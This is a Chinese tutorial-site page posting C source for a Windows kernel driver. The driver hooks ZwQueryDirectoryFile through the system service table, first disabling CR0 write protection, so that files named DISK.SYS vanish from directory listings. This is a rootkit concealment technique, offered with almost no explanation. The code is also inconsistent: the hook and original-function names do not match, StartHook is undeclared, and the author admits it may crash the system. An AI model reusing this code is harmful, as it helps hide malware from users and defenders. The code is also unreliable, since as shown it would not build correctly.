欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

驱动文件隐藏

驱动文件隐藏

简单文件隐藏  开表哥号去
#include <ntddk.h>
#include <ntimage.h>
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase; //Used only in checked build
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICES(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define SSDT SYSTEMSERVICES
#define KSDT KeServiceDescriptorTable
#define FILE_DEVICE_UNKNOWN            0x00000022
#define IOCTL_UNKNOWN_BASE              FILE_DEVICE_UNKNOWN
#define IOCTL_INIT                       CTL_CODE(IOCTL_UNKNOWN_BASE, 0x0800, METHOD_BUFFERED, FILE_READ_ACCESS | 
FILE_WRITE_ACCESS)
#define FileBothDirectoryInformation  3 
typedef unsigned int UINT; 
typedef char * PCHAR; 
typedef unsigned long BOOL; 
typedef unsigned long DWORD;
typedef struct _DEVICE_EXTENSION 
{
    PDEVICE_OBJECT DeviceObject;
    PKEVENT Event;
    BOOLEAN bPCreate;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

//    全局设备对象
PDEVICE_OBJECT g_pDeviceObject;
UNICODE_STRING g_RegPath;
NTSYSAPI 
NTSTATUS 
NTAPI ZwQueryDirectoryFile(
                     IN HANDLE hFile, 
                     IN HANDLE hEvent OPTIONAL, 
                     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                     IN PVOID IoApcContext OPTIONAL, 
                     OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                     OUT PVOID FileInformationBuffer, 
                     IN ULONG FileInformationBufferLength, 
                     IN FILE_INFORMATION_CLASS FileInfoClass, 
                     IN BOOLEAN bReturnOnlyOneEntry, 
                     IN PUNICODE_STRING PathMask OPTIONAL, 
                     IN BOOLEAN bRestartQuery); 
NTSTATUS DriverEntry(
  IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);
void UnloadDriver(PDRIVER_OBJECT DriverObject);
NTSTATUS DispatchCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DispatchClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DispatchIoCtrl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS SSDTHook_ZwQueryDirectoryFile( 
          IN HANDLE hFile, 
          IN HANDLE hEvent OPTIONAL, 
          IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
          IN PVOID IoApcContext OPTIONAL, 
          OUT PIO_STATUS_BLOCK pIoStatusBlock, 
          OUT PVOID FileInformationBuffer, 
          IN ULONG FileInformationBufferLength, 
          IN FILE_INFORMATION_CLASS FileInfoClass, 
          IN BOOLEAN bReturnOnlyOneEntry, 
          IN PUNICODE_STRING PathMask OPTIONAL, 
          IN BOOLEAN bRestartQuery);
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(INIT, StartHook)
#pragma alloc_text(PAGE, DispatchCreate)
#pragma alloc_text(PAGE, DispatchClose)
#pragma alloc_text(PAGE, DispatchIoCtrl)
#pragma alloc_text(PAGE, SSDTHook_ZwQueryDirectoryFile)
#endif
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
                     IN HANDLE hFile, 
                     IN HANDLE hEvent OPTIONAL, 
                     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                     IN PVOID IoApcContext OPTIONAL, 
                     OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                     OUT PVOID FileInformationBuffer, 
                     IN ULONG FileInformationBufferLength, 
                     IN FILE_INFORMATION_CLASS FileInfoClass, 
                     IN BOOLEAN bReturnOnlyOneEntry, 
                     IN PUNICODE_STRING PathMask OPTIONAL, 
                     IN BOOLEAN bRestartQuery); 
static ZWQUERYDIRECTORYFILE  OldNtQueryDirectoryFile; 
NTSTATUS SSDTHook_ZwQueryDirectoryFile(IN HANDLE hFile, 
                                  IN HANDLE hEvent OPTIONAL, 
                                  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
                                  IN PVOID IoApcContext OPTIONAL, 
                                  OUT PIO_STATUS_BLOCK pIoStatusBlock, 
                                  OUT PVOID FileInformationBuffer, 
                                  IN ULONG FileInformationBufferLength, 
                                  IN FILE_INFORMATION_CLASS FileInfoClass, 
                                  IN BOOLEAN bReturnOnlyOneEntry, 
                                  IN PUNICODE_STRING PathMask OPTIONAL, 
                                  IN BOOLEAN bRestartQuery) 
{ 
    NTSTATUS rc; 
    
    ANSI_STRING ansiHideDirFile; 
    
    
    RtlInitAnsiString(&ansiHideDirFile, "DISK.SYS"); 
    
    // 执行真正的 ZwQueryDirectoryFile 函数 
    rc = ((ZWQUERYDIRECTORYFILE)(OldNtQueryDirectoryFile))( 
        hFile, 
        hEvent, 
        IoApcRoutine, 
        IoApcContext, 
        pIoStatusBlock, 
        FileInformationBuffer, 
        FileInformationBufferLength, 
        FileInfoClass, 
        bReturnOnlyOneEntry, 
        PathMask, 
        bRestartQuery); 
    // 处理, 过滤 
    if(NT_SUCCESS(rc) && (FileInfoClass == FileBothDirectoryInformation)) 
    { 
        PFILE_BOTH_DIR_INFORMATION pLastFileInfo; 
        PFILE_BOTH_DIR_INFORMATION pFileInfo; 
        UNICODE_STRING uniFileName; 
        BOOL bLastOne=FALSE; 
       
        pLastFileInfo = NULL; 
        pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer; 

        // 循环检查 
        do { 
            ANSI_STRING ansiDesFileName, ansiSrcFileName; 
            bLastOne = (0 == pFileInfo->NextEntryOffset); 
            RtlInitUnicodeString(&uniFileName, pFileInfo->FileName); // uniFileName 不用释放 
            RtlUnicodeStringToAnsiString(&ansiSrcFileName, &uniFileName, TRUE); 
            RtlUpperString(&ansiDesFileName, &ansiSrcFileName); 
            // 开始进行比较, 如果找到了就隐藏这个文件或者目录 
            if( RtlCompareMemory(ansiDesFileName.Buffer, ansiHideDirFile.Buffer, ansiHideDirFile.Length) == 
ansiHideDirFile.Length) 
            { 
                if(bLastOne) 
                { 
                    if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer ) 
                    { 
                        rc = 0x80000006;
                    } 
                    else 
                    { 
                        pLastFileInfo->NextEntryOffset = 0; 
                    } 
                    RtlFreeAnsiString(&ansiDesFileName); 
                    RtlFreeAnsiString(&ansiSrcFileName); 
                    break; 
                } 
                else 
                { 
                    int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer; 
                    int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset; 
                    RtlCopyMemory( (PVOID)pFileInfo, 
                        (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), 
                        (DWORD)iLeft ); 
                    RtlFreeAnsiString(&ansiDesFileName); //===========================                    
                    RtlFreeAnsiString(&ansiSrcFileName); //===========================  
                    continue; 
                } 
            } 
            pLastFileInfo = pFileInfo; 
            pFileInfo = (PFILE_BOTH_DIR_INFORMATION) 
                ((char *)pFileInfo + pFileInfo->NextEntryOffset); 
            RtlFreeAnsiString(&ansiDesFileName); //===========================           
            RtlFreeAnsiString(&ansiSrcFileName); //===========================  
        } while ( FALSE == bLastOne ); 
    } 
    return(rc); 
} 
NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT DriverObject, 
    IN PUNICODE_STRING RegistryPath
    )
{
    NTSTATUS        ntStatus;
    UNICODE_STRING  uszDriverString;
    UNICODE_STRING  uszDeviceString;
    UNICODE_STRING  uszEventString;
    PDEVICE_OBJECT    pDeviceObject;
    PDEVICE_EXTENSION extension;
    // 初始化设备对象名
    RtlInitUnicodeString(&uszDriverString, L"\\Device\\kanxuee");
    // 创建并初始化对象
    ntStatus = IoCreateDevice(
        DriverObject,
        sizeof(DEVICE_EXTENSION),
        &uszDriverString,
        FILE_DEVICE_UNKNOWN,
        0,
        FALSE,
        &pDeviceObject
        );
    DbgPrint("IoCreateDevice calld\n");
    if(ntStatus != STATUS_SUCCESS)
        return ntStatus;
    DbgPrint("IoCreateDevice OK\n");
    extension = pDeviceObject->DeviceExtension;
    RtlInitUnicodeString(&uszDeviceString, L"\\DosDevices\\kanxuee");
    // 创建用户可见连接名称 
    ntStatus = IoCreateSymbolicLink(&uszDeviceString, &uszDriverString);
    if(ntStatus != STATUS_SUCCESS)
    {
       
        IoDeleteDevice(pDeviceObject);
        return ntStatus;
    }
 
    
   
    g_pDeviceObject = pDeviceObject;
   
    DriverObject->DriverUnload                            = UnloadDriver;
    DriverObject->MajorFunction[IRP_MJ_CREATE]            = DispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]            = DispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]    = DispatchIoCtrl;

    
    StartHook();
    return ntStatus;
}

void StartHook (void)
{
   
  
    __asm
    {
        push    eax
        mov        eax, CR0
        and        eax, 0FFFEFFFFh
        mov        CR0, eax
        pop        eax
    }
OldZNtQueryDirectoryFile        = (ZWQUERYDIRECTORYFILE)InterlockedExchange((PLONG) 
                                                        &SSDT(ZwQueryDirectoryFile),
                                                        (LONG)Hook_ZwQueryDirectoryFile);
 //关闭
    __asm
    {
        push    eax
        mov        eax, CR0
        or        eax, NOT 0FFFEFFFFh
        mov        CR0, eax
        pop        eax
    }
    return ;
}
//不知道会不会蓝屏   剩下自己解决

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功